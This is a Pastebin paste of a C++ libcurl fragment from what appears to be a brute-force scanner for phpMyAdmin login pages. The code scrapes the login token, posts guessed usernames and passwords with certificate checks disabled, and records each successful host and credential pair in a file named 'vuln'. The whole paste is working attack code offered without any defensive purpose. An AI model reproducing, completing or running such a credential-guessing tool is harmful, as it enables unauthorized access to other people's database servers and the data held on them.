Advertisement
Guest User

Untitled

a guest
Sep 18th, 2018
162
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 2.35 KB | None | 0 0
  1. else if(strstr(chunk.memory,"HTTP/1.1 200 OK") && strstr(chunk.memory,"name=\"pma_username\"") && strstr(chunk.memory,"name=\"pma_password\""))
  2.         {
  3.             std::string s1(chunk.memory);
  4.             string delimiter1 = "name=\"token\"";
  5.             string token1 = s1.substr(52, s1.find(delimiter1)); // token is "scott"
  6.             token1 = s1.substr(s1.find(delimiter1)+20,32);
  7.    
  8.             // it is a box, post it
  9.            
  10.             curl_easy_setopt(curl_handle, CURLOPT_URL, url);
  11.             curl_easy_setopt(curl_handle, CURLOPT_FOLLOWLOCATION, 1L); // caused problems
  12.            
  13.             curl_easy_setopt(curl_handle, CURLOPT_TIMEOUT, timeout);
  14.             curl_easy_setopt(curl_handle, CURLOPT_CONNECTTIMEOUT, timeout);
  15.            
  16.             curl_easy_setopt(curl_handle, CURLOPT_WRITEFUNCTION, WriteMemoryCallback);
  17.             curl_easy_setopt(curl_handle, CURLOPT_WRITEDATA, (void *)&chunk);
  18.  
  19.             curl_easy_setopt(curl_handle, CURLOPT_USERAGENT,USERAGENT);
  20.             // curl_easy_setopt(curl_handle, CURLOPT_CONNECT_TO,host);
  21.            
  22.             curl_easy_setopt(curl_handle, CURLOPT_HEADER, 1l);
  23.            
  24.             curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYHOST, 0l);
  25.             curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYPEER,0l);
  26.             // curl_easy_setopt(curl_handle, CURLOPT_USE_SSL, 0l);
  27.             // curl_easy_setopt(curl_handle, CURLOPT_SSLVERSION, CURL_SSLVERSION_MAX_TLSv1_2);
  28.            
  29.             curl_easy_setopt(curl_handle, CURLOPT_COOKIEFILE, "");
  30.            
  31.             char post_string[500];
  32.             memset(post_string,0,500);
  33.             sprintf(post_string,"pma_username=%s&pma_password=%s&server=%s&token=%s",user,pass,"1",token1.c_str());
  34.            
  35.             curl_easy_setopt(curl_handle,CURLOPT_POSTFIELDS,post_string);
  36.            
  37.             if(debug_curl >=3) curl_easy_setopt(curl_handle, CURLOPT_VERBOSE, 1);
  38.            
  39.             res = curl_easy_perform(curl_handle);
  40.  
  41.             if(res != CURLE_OK)
  42.             {
  43.                 curl_error = (char*) curl_easy_strerror(res);
  44.  
  45.                 if(debug_curl >=3) fprintf(stderr, "curl_easy_perform() failed: %s\n",curl_error);
  46.             }
  47.             else
  48.             {    
  49.                 if(debug_curl >=3) printf("%lu bytes retrieved\n", (long)chunk.size);
  50.                
  51.                 if(debug_curl >=3) puts(chunk.memory);
  52.                
  53.                 if(strstr(chunk.memory,"HTTP/1.1 200 OK") && strstr(chunk.memory,"themes/pmahomme/img/logo_left.png"))
  54.                 {
  55.                     result = 1;
  56.                    
  57.                     char temp_filename_line[500];
  58.                     memset(temp_filename_line,0,500);
  59.                     sprintf(temp_filename_line,"%s:%s:%s\n",url,user,pass);
  60.                     file_put_contents("vuln",temp_filename_line,"FILE_APPEND");
  61.                 }
  62.                
  63.             }          
  64.         }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement